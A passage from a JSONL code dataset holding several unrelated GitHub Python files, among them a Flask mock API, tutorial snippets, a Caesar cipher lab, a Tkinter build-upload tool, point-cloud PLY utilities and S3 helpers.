request.get_json()\n try:\n jsonschema_validate(json_data, json_schema)\n if json_data[\"merchant_id\"] != RICHARD_ID:\n raise abort(400, description=\"\")\n except jsonschema_exceptions.ValidationError as e:\n raise abort(400, description=str(e))\n return json_data, 200\n\n\n@app.route('/api/merchants', methods=[\"GET\"])\n@is_valid_token\ndef merchants():\n return merchants_data, 200\n\n\n@app.route('/api/merchants/', methods=[\"PUT\", \"DELETE\"])\n@is_valid_token\ndef update_merchant(merchant_id):\n if request.method == 'PUT':\n json_data = request.get_json()\n try:\n jsonschema_validate(json_data, merchant_schema)\n except jsonschema_exceptions.ValidationError as e:\n raise abort(400, description=str(e))\n if merchant_id == json_data[\"id\"] == RICHARD_ID:\n return json_data, 200\n else:\n if merchant_id == BEAUTY_ID:\n return \"\", 200\n raise abort(400, description=\"\")\n\n\n@app.route(\"/ping\")\n@limiter.exempt\ndef ping():\n return \"PONG\", 200\n\n\n@app.route(\"/\")\n@limiter.exempt\ndef index():\n return \"Skill test server. API docs\", 200\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0')\n","repo_name":"jechea14/backend-integrations-test","sub_path":"integration-skill-test-server-master/webapp/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"15645036392","text":"# starting python 3.7+ dictionaries preserve insertion order\n\n# keys must be wrapped in quotes, unlike js it's not optional\ncar = {\n \"brand\": \"Ford\",\n \"model\": \"Mustang\",\n \"year\": 1964\n}\n\ncar.get('model') # Mustang, won't throw an error if key doesn't exist\ncar['model'] # Mustang, will throw an error if key doesn't exist\n\ncar[\"brand\"] = \"Mercedes\" # update or add new values\n\ncar.pop('model') # remove the model key/value pair\n\ncar.clear() # empty the dictionary \"{}\"\n\n\n# destructuring, `from operator import itemgetter`\nbrand, model, year = itemgetter(\n 'brand',\n 'model',\n 'year'\n)(car)\n\n\n# convert a list of tuples into a dictionary using dict comprehensions\nstats = [('age', 22), ('height', 5.9), ('weight', 170)]\ndict_stats = {key: value for (key, value) in stats}\n\nprint(dict_stats) # {'age': 22, 'height': 5.9, 'weight': 170}\n\n\ndel car['brand'] # delete by key\n\n\n# import json\njson.dumps(dict) # same as `JSON.stringify(dict)`\njson.loads(str) # same as `JSON.parse(str)`\n\n\n# convert a class into a dictionary\nprint(self.__dict__) # from the inside\n\n# or from the outside\nmy_class = MyClass()\nprint(my_class.__dict__)\n\n\n### copying ###\n\ncar = {\n \"brand\": \"Ford\",\n \"model\": \"Mustang\",\n \"year\": 1964,\n \"owner\": {\n \"name\": 'John',\n \"hobbies\": [{\n \"type\": \"sport\",\n \"name\": \"Football\"\n }]\n }\n}\n\n# make a shallow copy, same as \"newCar = { ...car }\"\ncar_copy = car.copy()\ncar_copy['brand'] = 'Toyota'\n\n# make a deep copy\ncar_deep_copy = deepcopy(car) # `from copy import deepcopy`\ncar_deep_copy['owner']['name'] = 'Sam'\ncar_deep_copy['owner']['hobbies'][0]['name'] = 'Baseball'\n\nprint(car)\nprint(car_copy)\nprint(car_deep_copy)\n\n\n# sort a dictionary by it's numeric values\nsorted(my_dict.items(), key=lambda x: x[1]) # ascending\nsorted(my_dict.items(), key=lambda x: x[1], reverse=True) # descending\n","repo_name":"TowhidKashem/python-course","sub_path":"dictionaries.py","file_name":"dictionaries.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"73166526303","text":"key=6\n\ndef encrypt():\n\tplain_text=input(\"Enter Plain Text to Encrypt\\n\")\n\tprint(\"Encrypted Text is: \",end=\"\")\n\tfor alphabet in plain_text:\n\t\tif alphabet.islower():\n\t\t\tvalue=((ord(alphabet)%96)+key)%26\n\t\t\tif value==0:\n\t\t\t\tvalue=26\n\t\t\tprint(chr(value+96),end=\"\")\n\t\telif alphabet.isupper():\n\t\t\tvalue=((ord(alphabet)%64)+key)%26\n\t\t\tif value==0:\n\t\t\t\tvalue=26\n\t\t\tprint(chr(value+64),end=\"\")\n\tprint(\"\\n\")\n\ndef decrypt():\n\tcipher_text=input(\"Enter Cipher Text to Decrypt\\n\")\n\tprint(\"Decrypted Text is: \",end=\"\")\n\tfor alphabet in cipher_text:\n\t\tif alphabet.islower():\n\t\t\tif (ord(alphabet)%96)-key<1:\n\t\t\t\tvalue=(((ord(alphabet)%96)-key)+26)\n\t\t\telse:\n\t\t\t\tvalue=((ord(alphabet)%96)-key)%26\n\t\t\tprint(chr(value+96),end=\"\")\n\t\telif alphabet.isupper():\n\t\t\tif (ord(alphabet)%64)-key<1:\n\t\t\t\tvalue=(((ord(alphabet)%64)-key)+26)\n\t\t\telse:\n\t\t\t\tvalue=((ord(alphabet)%64)-key)%26\n\t\t\tprint(chr(value+64),end=\"\")\n\tprint(\"\\n\")\n\nencrypt()\ndecrypt()","repo_name":"cyberboysumanjay/NetworkSecurityLab","sub_path":"LAB1/caesar_cypher.py","file_name":"caesar_cypher.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"33547282346","text":"\"\"\"Test forward refs resolution.\"\"\"\nfrom typing import List\n\nfrom pydantic import BaseModel\n\nfrom extendable_pydantic import ExtendableModelMeta\n\n\ndef test_simple_forward_ref(test_registry):\n class A(BaseModel, metaclass=ExtendableModelMeta):\n attr: int\n child: \"A\" = None\n children: List[\"A\"] = None # noqa: F821\n\n class Config:\n orm_mode = True\n\n class AExt(A, extends=A):\n val: str\n\n test_registry.init_registry()\n schema = A.schema()\n assert schema\n json_dict = {\n \"attr\": 1,\n \"val\": \"v\",\n \"child\": {\"attr\": 1, \"val\": \"v\", \"child\": None, \"children\": None},\n \"children\": [{\"attr\": 1, \"val\": \"v\", \"child\": None, \"children\": None}],\n }\n a = A(**json_dict)\n assert len(a.children) == 1\n assert a.child\n assert a.child.val == \"v\"\n assert a.dict() == json_dict\n assert A.from_orm(a).dict() == json_dict\n assert AExt.from_orm(a).dict() == json_dict\n","repo_name":"sbidoul/extendable-pydantic","sub_path":"tests/test_forward_refs.py","file_name":"test_forward_refs.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"7217965846","text":"from okpt.io.config.parsers import base as base_p\nfrom okpt.io.config.parsers import tool\nfrom okpt.test.tests import base as base_t\nfrom okpt.test.tests import nmslib, opensearch\n\n_tests = {\n 'opensearch_index': opensearch.OpenSearchIndexTest,\n 'opensearch_query': opensearch.OpenSearchQueryTest,\n 'nmslib_index': nmslib.NmslibIndexTest,\n 'nmslib_query': nmslib.NmslibQueryTest,\n}\n\n\ndef TestFactory(tool_config: tool.ToolConfig) -> base_t.Test:\n \"\"\"Factory function for tests.\n\n Args:\n tool_config: Performance tool configuration.\n\n Returns:\n Test matching test_id.\n\n Raises:\n ConfigurationError: If the provided test_id doesn't match a defined test.\n \"\"\"\n if not tool_config.test_id in _tests:\n raise base_p.ConfigurationError(message='Invalid test_id.')\n\n return _tests[tool_config.test_id](tool_config.service_config,\n tool_config.dataset)\n","repo_name":"jmazanec15/opensearch-knn-perf-tool","sub_path":"okpt/test/tests/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24046751102","text":"import sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport subprocess\nimport time\n\ndef compare_values(vector1, vector2, output_file):\n # Filter out non-valid value pairs\n filtered_pairs = [(x, y) for x, y in zip(vector1, vector2) if x != '0' and y != '0']\n\n if len(filtered_pairs) == 0:\n print(\"No valid value pairs found.\")\n return\n\n # Extract values from filtered pairs and convert to floats\n values1 = [float(val) for x, y in filtered_pairs for val in x.split(',')]\n values2 = [float(val) for x, y in filtered_pairs for val in y.split(',')]\n\n # Calculate midpoints for each pair\n midpoints = [(float(x) + float(y)) / 2 for x, y in filtered_pairs]\n\n # Calculate the mean value\n mean_value = np.mean(midpoints)\n\n # Create plot with two curves, midpoint line, and mean line\n plt.plot(values1, label='Tensorflow', color='blue')\n plt.plot(values2, label='Cpp-implementation', color='green')\n plt.plot(midpoints, label='Midpoint', color='red', linestyle='--')\n plt.axhline(mean_value, color='orange', linestyle='--', label='Mean')\n plt.xlabel(\"Index\")\n plt.ylabel(\"Value\")\n plt.title(\"Comparison of Value-pairs\")\n plt.legend()\n\n # Save the plot as an image\n plt.savefig(output_file)\n plt.close() # Close the plot to release resources\n\n# Get command-line arguments\nvector1 = sys.argv[1].split(',')\nvector2 = sys.argv[2].split(',')\noutput_file = sys.argv[3]\n\n# Call the compare_values function\ncompare_values(vector1, vector2, output_file)\n\n# Open the saved image using the default image viewer\nsubprocess.run(['xdg-open', output_file])\n","repo_name":"silmae/hsi-smart","sub_path":"Practice-Cpp-Implementation/Correlation-Plotter-Python/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"42969663709","text":"# Euler Problem 3\n\ndef find_factors (num):\n factors = []\n for i in range(1, round(num**0.5), 1):\n if num % i == 0:\n factors.append(i)\n factors.append(round(num/i))\n return factors\n\nfactors = find_factors(600851475143)\n\nnon_prime_factors = []\n\nfor num in factors:\n for div in range(2, num, 1):\n if num % div == 0:\n non_prime_factors.append(num)\n break\n\nlargest_prime_factor = max([x for x in factors if x not in non_prime_factors])\nprint(largest_prime_factor)","repo_name":"RobinL/dash_lunch_n_code","sub_path":"Problem_3/Dan_H_problem_3.py","file_name":"Dan_H_problem_3.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24179429923","text":"def time_config(total_minutes): #If the total minutes is greater than or equal to a day\n\n if total_minutes >= (60*24*365):\n years = total_minutes / (60*24*365)\n fractional_part = years - int(years)\n\n days = 365*fractional_part\n fractional_part = days - int(days)\n\n hours = 24*fractional_part\n fractional_part = hours - int(hours)\n\n minutes = 60*fractional_part\n fractional_part = minutes - int(minutes)\n\n seconds = 60*fractional_part\n\n return int(years), int(days), int(hours), int(minutes), round(seconds, 3)\n\n elif total_minutes >= (60*24):\n\n days = total_minutes / (60*24)\n fractional_part = days - int(days)\n\n hours = 24*fractional_part\n fractional_part = hours - int(hours)\n\n minutes = 60*fractional_part\n fractional_part = minutes - int(minutes)\n\n seconds = 60*fractional_part\n\n return 0, int(days), int(hours), int(minutes), round(seconds, 3)\n\n elif total_minutes >= 60: #If the total minutes time is greater than or equal to a hour\n \n hours = total_minutes / 60\n fractional_part = hours - int(hours)\n\n minutes = 60*fractional_part\n fractional_part = minutes - int(minutes)\n\n seconds = 60*fractional_part\n\n return 0, 0, int(hours), int(minutes), round(seconds, 3)\n\n elif total_minutes >= 1: #If the total minutes time is greater than or equal to a second\n\n minutes = total_minutes \n fractional_part = minutes - int(minutes)\n\n seconds = 60*fractional_part\n\n return 0, 0, 0, int(minutes), round(seconds, 3)\n\n elif total_minutes < 1: #If the total minutes is lower than a second\n\n seconds = total_minutes*60 \n\n return 0, 0, 0, 0, round(seconds, 3)\n \ndef time_printer(years, days, hours, minutes, seconds):\n times_list = list()\n\n if years > 0 and years <= 1:\n times_list.append(f\"{years} year\")\n elif years > 0: \n times_list.append(f\"{years} years\")\n\n if days > 0 and days <= 1:\n times_list.append(f\"{days} day\")\n elif days > 0:\n times_list.append(f\"{days} days\") \n\n if hours > 0 and hours <= 1:\n times_list.append(f\"{hours} hour\")\n elif hours > 0:\n times_list.append(f\"{hours} hours\") \n\n if minutes > 0 and minutes <= 1:\n times_list.append(f\"{minutes} minute\")\n elif minutes > 0:\n times_list.append(f\"{minutes} minutes\")\n\n if seconds > 0 and seconds <= 1:\n times_list.append(f\"{int(seconds)} second\")\n elif seconds > 0:\n times_list.append(f\"{int(seconds)} seconds\")\n\n\n if len(times_list) > 1:\n times_list.insert((len(times_list) - 1), \"and\")\n times_string = \", \".join(time for time in times_list[:-1]) + \" \" + times_list[-1] \n else:\n times_string = \", \".join(times_list)\n \n return (f\"The time spent to find the cure was: {times_string}.\")","repo_name":"luiz-linkezio/The_Cure-Prim_Algorithm","sub_path":"scripts/time_config.py","file_name":"time_config.py","file_ext":"py","file_size_in_byte":2933,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"9540934115","text":"import functools\n\nfrom test_framework import generic_test\nfrom test_framework.test_failure import TestFailure\nfrom test_framework.test_utils import enable_executor_hook\n\n\n# this problem is list overlapping with possible cycle\n# for better understanding need to check \"is_list_cyclic\" first\ndef overlapping_lists(l0, l1):\n # There is a brutal force solution with O(n) time and space complexity.\n # Use hash table to store the nodes and check whether newly newly traversed nodes are in the hash table already.\n\n # brutal force implementation\n p0 = l0\n p1 = l1\n\n traversed0 = {} # use object id as an identifier to make sure key is unique\n traversed1 = {} # need a second hash table to avoid p1 stuck in infinite loop\n\n # traverse list 0\n while p0:\n if id(p0) in traversed0:\n break\n else:\n traversed0[id(p0)] = True\n p0 = p0.next\n\n # traverse list 1 to check whether there is overlapping\n while p1:\n\n if id(p1) in traversed0:\n return p1\n elif id(p1) in traversed1:\n break\n else:\n traversed1[id(p1)] = True\n p1 = p1.next\n\n return None\n\n\n@enable_executor_hook\ndef overlapping_lists_wrapper(executor, l0, l1, common, cycle0, cycle1):\n if common:\n if not l0:\n l0 = common\n else:\n it = l0\n while it.next:\n it = it.next\n it.next = common\n\n if not l1:\n l1 = common\n else:\n it = l1\n while it.next:\n it = it.next\n it.next = common\n\n if cycle0 != -1 and l0:\n last = l0\n while last.next:\n last = last.next\n it = l0\n for _ in range(cycle0):\n if not it:\n raise RuntimeError('Invalid input data')\n it = it.next\n last.next = it\n\n if cycle1 != -1 and l1:\n last = l1\n while last.next:\n last = last.next\n it = l1\n for _ in range(cycle1):\n if not it:\n raise RuntimeError('Invalid input data')\n it = it.next\n last.next = it\n\n common_nodes = set()\n it = common\n while it and id(it) not in common_nodes:\n common_nodes.add(id(it))\n it = it.next\n\n result = executor.run(functools.partial(overlapping_lists, l0, l1))\n\n if not (id(result) in common_nodes or (not common_nodes and not result)):\n raise TestFailure('Invalid result')\n\n\nif __name__ == '__main__':\n exit(\n generic_test.generic_test_main(\"do_lists_overlap.py\",\n 'do_lists_overlap.tsv',\n overlapping_lists_wrapper))\n","repo_name":"patrichu/PyAlg","sub_path":"07.Linked_Lists/do_lists_overlap.py","file_name":"do_lists_overlap.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71322036705","text":"'''\n depends:\n zip\n'''\n#coding=utf-8\nimport requests\nimport json\nimport sys\nimport os\nimport re\nimport zipfile\nimport time\nimport uuid\nimport tempfile\nimport traceback\nimport threading\nfrom tkinter import *\nimport tkinter.font as tkFont\nfrom tkinter.filedialog import askdirectory\nfrom tkinter.scrolledtext import ScrolledText\n\nmomake_server = {\n 'dev': 'http://dev.xiakego.cn/momake/v1',\n 'test': 'http://momake.moapp.mogotea.cn/v1',\n 'release': 'http://momake.moapp.mogotea.cn/v1'\n}\n\ndef make_dir_s(path):\n if not os.path.isdir(path):\n os.makedirs(path)\n\ndef zipFolder(path, fileName, skipFolders, skipExts, log):\n '''\n path: 待打包的文件夹,如:D:/MOGO/codes/moapp/samples/hust_borrow\n fileName: 输出zip文件路径,如:D:/MOGO/codes/moapp/samples/test.zip\n skipFolders:不用打包的文件夹列表,如: ['__pycache__']\n skipExts: 不用打包的文件扩展名列表,如:['.exe', '.zip']\n '''\n fileList = []\n newZip = zipfile.ZipFile(fileName,'w')\n for dirpath,dirnames,filenames in os.walk(path):\n for filename in filenames:\n filePath = os.path.join(dirpath,filename).replace('\\\\', '/')\n skip = False\n for skipFolder in skipFolders:\n if filePath.find(('%s/%s' %(path, skipFolder)).replace('\\\\', '/')) > -1:\n skip = True\n break\n\n # 检查是否过滤扩展名\n if not skip:\n for ext in skipExts:\n pos = 0 - len(ext)\n if filePath[pos:].lower() == ext.lower():\n skip = True\n break\n\n if not skip:\n log('\\tpack file:%s' %filePath)\n fileList.append(filePath)\n else:\n log('\\tskip file:%s' %filePath)\n \n for tar in fileList:\n newZip.write(tar,tar[len(path):])#, compress_type=zipfile.ZIP_LZMA)\n newZip.close()\n\ndef make(root_path, out_path, env, log):\n '''\n 生成moapp\n root_path: 代码根路径\n out_path: 小程序代码输出路径\n env: 环境: dev|test|release\n ''' \n file_items = {}\n log('--------------prepare to make--------------')\n tmp_src_zip = 'src_%s.zip' %int(time.time())\n log('begin pack source folder...')\n zipFolder(root_path, tmp_src_zip, ['__pycache__', '.DS_Store'], ['.exe', '.zip', '.bak', '.pyc'], log)\n zipSize = os.path.getsize(tmp_src_zip)\n log('\\tend pack source folder, size: %.2f KB' %(zipSize/1024.0))\n\n if zipSize > 1024*1024:\n log('[ Error ]source folder is greater than 1 MB! please remove unnesessary files!')\n return\n try:\n log('begin request to momake...%s' %momake_server[env])\n res = None\n\n with open(tmp_src_zip,'rb') as srcZip:\n files = {'codes': srcZip}\n res = requests.post(momake_server[env], data = {\n 'root_path': root_path,\n 'env': env\n }, files=files, timeout=30)\n\n log('\\tend request')\n if res and res.status_code == 200:\n if isinstance(res.text, bytes):\n res.text = res.text.decode(errors='replace')\n\n res = json.loads(res.text)\n if 'ret' in res and res['ret'] == 0:\n log('begin download zip...')\n log('\\turl:%s' %(res['data']['url']))\n file_url = res['data']['url']\n if momake_server[env].find('https://') > -1:\n file_url = file_url.replace('http://', 'https://')\n\n r = requests.get(file_url, stream= True, verify=False)\n tmp_file = '%s.zip' %(int(time.time()))\n with open(tmp_file, 'wb') as f:\n f.write(r.content)\n log('begin unzip...')\n make_dir_s(out_path)\n with zipfile.ZipFile(tmp_file, 'r') as z:\n for f in z.namelist():\n pos = f.rfind('/')\n if pos > -1:\n path = '%s/%s' %(out_path, f[0:pos])\n make_dir_s(path)\n\n if f.find('.') > -1:\n log('\\tsave file:%s' %f)\n with open('%s/%s' %(out_path, f), 'wb') as o:\n o.write(z.read(f))\n\n try:\n os.remove(tmp_file)\n except:\n pass\n\n log('--------------make moapp successed--------------')\n else:\n log('momake fail !!! error message:\\n---------------------------------------------')\n if 'data' in res and 'stderr' in res['data']:\n log(res['data']['stderr'])\n else:\n log(json.dumps(res))\n else:\n log('momake server err:\\n%s' %res.text)\n except Exception as ex:\n log('momake exceptions, err:\\n%s' %(str(ex)))\n log('callack:\\n%s' %(traceback.format_exc()))\n\n try:\n os.remove(tmp_src_zip) \n except Exception as ex:\n log('momake exceptions, err:\\n%s' %(str(ex)))\n log('callack:\\n%s' %(traceback.format_exc()))\n\nclass TaskThread(threading.Thread):\n def __init__(self, root_path, out_path, env, log, onFinish):\n threading.Thread.__init__(self)\n self.rootPath = root_path\n self.outPath = out_path\n self.env = env\n self.log = log\n self.onFinish = onFinish\n\n def run(self):\n make(self.rootPath, self.outPath, self.env, self.log)\n self.onFinish()\n\ndef help():\n print('Usage:')\n print('\\tpython momake.py src={SRC_PATH} dst={DES_PATH} env={ENV}')\n print('\\t\\tSRC_PATH: the source path')\n print('\\t\\tDST_PATH: the output path')\n print('\\t\\tENV: the enviriment of the target, dev|test|release')\n print('Example:')\n print('python momake.py src=d:/mogo/myapp dst=d:/moapp/myapp env=test')\n\n# 配置文件读写\nclass Config():\n def __init__(self, file_path):\n self.__path = file_path\n self.__value = {}\n\n try:\n with open(self.__path, 'r+', encoding='utf-8') as f:\n content = f.read()\n if isinstance(content, bytes):\n content = content.decode()\n self.__value = json.loads(content)\n except:\n pass\n\n def get(self, k):\n if k in self.__value:\n return self.__value[k]\n else:\n return ''\n\n def set(self, k, v):\n self.__value[k] = v\n self._save()\n\n def _save(self):\n with open(self.__path, 'w+', encoding='utf-8') as f:\n f.write(json.dumps(self.__value, indent=4))\n\n\nclass MoMakeApp(Frame):\n def __init__(self, master=None): \n Frame.__init__(self, master)\n self.pack()\n\n cfg_file = '%s/momake.cfg.json' %(tempfile.gettempdir())\n self.cfg = Config(cfg_file)\n\n self.master.title('MoMake v0.3')\n self.master.geometry('740x480')\n self.master.resizable(0, 0)\n \n self.src_path = StringVar()\n self.src_path.set(self.cfg.get('src'))\n self.dst_path = StringVar()\n self.dst_path.set(self.cfg.get('dst'))\n self.env = StringVar()\n self.env.set(self.cfg.get('env') or 'test')\n\n ft = tkFont.Font(family='微软雅黑', size=12)\n row_span = 20\n Label(self, text=\"代码路径: \", font=ft).grid(row=0, sticky=E, pady=row_span)\n e = Entry(self, font=ft, width=60, textvariable=self.src_path)\n e.grid(row=0,column=1,sticky=W, columnspan=4)\n e.bind('', lambda e:'break') # 禁止输入\n self.chooseSrcPath = Button(self,text=\"选择...\", font=ft, command=self.__chooseSrcPath)\n self.chooseSrcPath.grid(row=0,column=5,sticky=E, padx=15)\n \n Label(self,text = \"输出路径: \", font=ft).grid(row=1,sticky=E)\n e = Entry(self, font=ft, width=60, textvariable=self.dst_path)\n e.grid(row=1,column=1,sticky=W, columnspan=4)\n e.bind('', lambda e:'break') # 禁止输入\n self.chooseDistPath = Button(self,text=\"选择...\", height=1, font=ft, command=self.__chooseDstPath)\n self.chooseDistPath.grid(row=1,column=5,sticky=E, padx=15)\n\n Label(self,text = \"环境: \", font=ft).grid(row=2,sticky=E)\n #Radiobutton(self, text='开发环境', value='dev', variable=self.env, font=ft).grid(row=2, sticky=W, column=1)\n self.radioEnvTest = Radiobutton(self, text='测试环境', value='test', variable=self.env, font=ft)\n self.radioEnvTest.grid(row=2, sticky=W, column=1)\n self.radioEnvRelease = Radiobutton(self, text='正式环境', value='release', variable=self.env, font=ft)\n self.radioEnvRelease.grid(row=2, sticky=W, column=2)\n\n self.create = Button(self,text=\"生成小程序\", font=ft, width=20, height=1, command=self.__create)\n self.create.grid(row=3,column=0, columnspan=6, pady=row_span)\n self.create['state'] = DISABLED\n \n self.output = ScrolledText(self, borderwidth=1, width=98, height=19)\n self.output.bind('', lambda e:'break') # 禁止输入\n self.output.grid(row=4, column=0, columnspan=6)\n\n self.__refreshState()\n\n def __chooseSrcPath(self):\n path = askdirectory(initialdir=self.src_path.get(), title='请选择python代码文件夹')\n if path:\n self.src_path.set(path)\n self.__output('choose src path:%s' %path)\n self.__refreshState()\n\n def __chooseDstPath(self):\n path = askdirectory(initialdir=self.dst_path.get(), title='请选择小程序输出文件夹')\n if path:\n self.dst_path.set(path)\n self.__output('choose dst path:%s' %path)\n self.__refreshState()\n\n def __refreshState(self):\n if os.path.isdir(self.src_path.get()) and os.path.isdir(self.dst_path.get()):\n self.create['state'] = NORMAL\n else:\n self.create['state'] = DISABLED\n\n def __output(self, text): \n if text[0:1] != '\\t':\n if text != '':\n text = '%s %s' %(time.strftime(\"%H:%M:%S\", time.localtime()), text)\n else:\n text = text.replace('\\t', ' ')\n\n self.output.insert(END, text)\n self.output.insert(END, '\\n')\n self.output.see(END)\n\n def onFinish(self):\n self.__output('')\n self.create['state'] = NORMAL\n self.create['text'] = '生成小程序'\n\n self.chooseSrcPath['state'] = NORMAL\n self.chooseDistPath['state'] = NORMAL\n self.radioEnvTest['state'] = NORMAL\n self.radioEnvRelease['state'] = NORMAL\n\n def __create(self):\n self.output.delete(1.0, END)\n self.cfg.set('src', self.src_path.get())\n self.cfg.set('dst', self.dst_path.get())\n self.cfg.set('env', self.env.get())\n\n self.create['state'] = DISABLED\n self.chooseSrcPath['state'] = DISABLED\n self.chooseDistPath['state'] = DISABLED\n self.radioEnvTest['state'] = DISABLED\n self.radioEnvRelease['state'] = DISABLED\n\n self.create['text'] = '制作中,请稍后...'\n t = TaskThread(self.src_path.get(), self.dst_path.get(), self.env.get(), self.__output, self.onFinish)\n t.start()\n \n\n# gui模式\ndef run_gui():\n MoMakeApp().mainloop()\n\n# 命令行模式\ndef run_console():\n if len(sys.argv) == 4:\n src = ''\n dst = ''\n env = ''\n\n for i in range(1, len(sys.argv)):\n item = sys.argv[i].split('=')\n if len(item) == 2:\n k = item[0].strip()\n v = item[1].strip()\n\n if k == 'src':\n src = v\n elif k == 'dst':\n dst = v\n elif k == 'env':\n env = v\n else:\n print('invalid argv key:%s' %sys.argv[i])\n else:\n print('invalid argv:%s' %sys.argv[i])\n\n if src and dst and env:\n make(src, dst, env, print)\n else:\n print('momake: missing necessary params(src, dst, env)')\n help() \n else:\n print('momake: missing necessary params(src, dst, env)')\n help()\n\nif __name__ == '__main__':\n if len(sys.argv) == 1:\n run_gui()\n else:\n run_console()","repo_name":"Taikoto/moapp","sub_path":"moapp/momake.py","file_name":"momake.py","file_ext":"py","file_size_in_byte":12500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"30771848036","text":"from plyfile import PlyData\nimport numpy as np\nimport sys\nimport h5py\nimport os\nimport open3d as o3d\ndef load_h5(h5_filename):\n f=h5py.File(h5_filename)\n data=f['data'][:]\n return data\ndef load_ply_data(filename):\n '''\n load data from ply file.\n '''\n\n f = open(filename)\n #1.read all points\n points = []\n for line in f:\n #only x,y,z\n wordslist = line.split(' ')\n try:\n x, y, z = float(wordslist[0]),float(wordslist[1]),float(wordslist[2])\n except ValueError:\n continue\n points.append([x,y,z])\n points = np.array(points)\n points = points.astype(np.float32)#np.uint8\n # print(filename,'\\n','length:',points.shape)\n f.close()\n\n return points\ndef write_ply_data(filename, points):\n '''\n write data to ply file.\n '''\n if os.path.exists(filename):\n os.system('rm '+filename)\n f = open(filename,'a+')\n #print('data.shape:',data.shape)\n f.writelines(['ply\\n','format ascii 1.0\\n'])\n f.write('element vertex '+str(points.shape[0])+'\\n')\n f.writelines(['property float x\\n','property float y\\n','property float z\\n'])\n f.write('end_header\\n')\n for _, point in enumerate(points):\n f.writelines([str(point[0]), ' ', str(point[1]), ' ',str(point[2]), '\\n'])\n f.close()\n\n return\ndef write_ply_alpha(filename, points):\n if os.path.exists(filename):\n os.system('rm '+filename)\n f = open(filename,'a+')\n #print('data.shape:',data.shape)\n f.writelines(['ply\\n','format ascii 1.0\\n'])\n f.write('element vertex '+str(points.shape[0])+'\\n')\n f.writelines(['property float x\\n','property float y\\n','property float z\\n', 'property float nx\\n', 'property float ny\\n','property float nz\\n'])\n #f.writelines(['property float x\\n','property float y\\n','property float z\\n', 'property uchar red\\n', 'property uchar green\\n', 'property uchar blue\\n'])\n f.write('end_header\\n')\n for _, point in enumerate(points):\n #point.astype(np.float16)\n f.writelines([str(point[0]), ' ', str(point[1]), ' ',str(point[2]), ' ', str(point[3]), ' ','0', ' ', '0', '\\n'])\n #a=point[3]\n\n #b=int((a+1)/2)\n #a=a-b\n \n #f.writelines([str(point[0]), ' ', str(point[1]), ' ',str(point[2]), ' ', str(np.uint8(a)), ' ', str(np.uint8(b)), ' ', '0', '\\n'])\n f.close()\n\n return\ndef load_ply_alpha(filename):\n '''\n load data from ply file.\n '''\n\n f = open(filename)\n #1.read all points\n points = []\n for line in f:\n #only x,y,z\n wordslist = line.split(' ')\n try:\n x, y, z, al = float(wordslist[0]),float(wordslist[1]),float(wordslist[2]),float(wordslist[3])#,float(wordslist[4])\n except ValueError:\n continue\n points.append([x,y,z,al])\n points = np.array(points)\n points = points.astype(np.float32)#np.uint8\n # print(filename,'\\n','length:',points.shape)\n f.close()\n\n return points\ndef trans_ply(filename):\n plydata = PlyData.read(filename)\n data=plydata.elements[0].data\n os.system('rm -r '+filename)\n #os.wait()\n #write_ply_data(filename,data)\n pcd = o3d.geometry.PointCloud()\n pcd.points = o3d.utility.Vector3dVector(data)\n o3d.io.write_point_cloud(outpath, pcd, write_ascii=True)\ndef trans_alpha(filename):\n plydata = PlyData.read(filename)\n data=plydata.elements[0].data\n os.system('rm -r '+filename)\n #os.wait()\n #print(np.max(data,axis=1))\n write_ply_alpha(filename,data)\nif __name__=='__main__':\n #basepath='/home/xk/codetest/data/KITTI/odometry/sequences'\n #path=basepath+'/'+'00'+'/'+'velodyne/'+'000000.bin'\n #data=np.fromfile(path,dtype=np.float32,count=-1)\n #data=np.reshape(data,[-1,4])[:,:3]\n\n data=load_ply_alpha('/home/xk/codetest/data/plymodels/8iVFB/redandblack_vox10_1550.ply')\n #write_ply_data('kitti0.ply',data)\n write_ply_data('test.ply',data)\n os.system('./draco_encoder -point_cloud -i test.ply -o test.drc -cl 10 -qp 10')\n os.system('./draco_decoder -point_cloud -i test.drc -o testout.ply')\n trans_ply('testout.ply')\n trans_ply('outputs.ply')\n #plydata = PlyData.read('outputs.ply')\n #print(plydata.elements[0].data)\n","repo_name":"APRIL-ZJU/3QNet","sub_path":"dealply.py","file_name":"dealply.py","file_ext":"py","file_size_in_byte":4098,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"7"} +{"seq_id":"10691614045","text":"import logging\nimport boto3\nfrom botocore.exceptions import ClientError\n\ndef s3_list_buckets():\n s3 = boto3.client('s3')\n try:\n s3Response = s3.list_buckets()\n except ClientError as e:\n logging.error(e)\n return None\n return s3Response\n\ndef s3_upload_fileobj(file, s3BucketName, objectName):\n s3 = boto3.client('s3')\n try:\n s3Reseponse = s3.upload_fileobj(file, s3BucketName, objectName)\n except ClientError as e:\n logging.error(e)\n return None\n return s3Reseponse\n\ndef s3_presigned_url(s3BucketName, objectName):\n s3 = boto3.client('s3')\n try:\n presigned_url = s3.generate_presigned_url('get_object', Params = {'Bucket': s3BucketName, 'Key': objectName}, ExpiresIn = 3600)\n except ClientError as e:\n logging.error(e)\n return None\n return 